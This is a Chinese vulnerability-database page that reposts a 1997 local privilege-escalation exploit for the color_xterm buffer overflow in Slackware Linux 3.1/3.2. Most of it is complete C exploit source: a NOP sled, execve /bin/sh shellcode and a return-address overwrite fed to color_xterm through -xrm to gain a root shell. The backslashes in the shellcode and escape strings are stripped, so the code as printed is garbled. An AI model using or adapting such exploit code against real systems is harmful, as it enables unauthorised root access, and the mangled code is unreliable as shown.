Slackware Linux 3.1/3.2 – ‘color_xterm’ Local Buffer Overflow (1)
漏洞ID | 1053351 | 漏洞类型 | |
发布时间 | 1997-05-27 | 更新时间 | 1997-05-27 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/369/info
In Slackware Linux 3.1 and 3.2, the version of color xterm included is vulnerable to a buffer overflow attack that allows for a local user to gain root access.
/* exploit for color_xterm, modified by zgv */
/* original exploit coded by Ming Zhang for the Chinese Version Of xTerm */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
#define PATH_COLOR_XTERM "/usr/X11/bin/color_xterm" /* Default Path If Make Install Was Used */
#define NOP_SIZE 1
char nop[] = "x90";
/* Shell Code For That Ass */
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
/* Lets d0 d1s */
void main(int argc,char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i,OffSet = DEFAULT_OFFSET;
if (argc>1) OffSet = atoi(argv[1]);
buff = malloc(2048);
if(!buff)
{
printf("err0r err0r err0r err0r you g0t gn0 sk1lls er memoryn");
exit(0);
}
ptr = buff;
for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) {
memcpy (ptr,nop,NOP_SIZE);
ptr+=NOP_SIZE;
}
for(i=0;i < strlen(shellcode);i++)
*(ptr++) = shellcode[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_sp() + OffSet;
ptr = (char *)addr_ptr;
*ptr = 0;
(void) fprintf(stderr,"bewm bash#n");
execl(PATH_COLOR_XTERM, "color_xterm_owns_me", "-xrm",buff, NULL);
}
相关推荐: Multiple Vendor .BAT/.CMD Remote Command Execution Vulnerability
Multiple Vendor .BAT/.CMD Remote Command Execution Vulnerability 漏洞ID 1105167 漏洞类型 Input Validation Error 发布时间 1996-03-01 更新时间 199…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666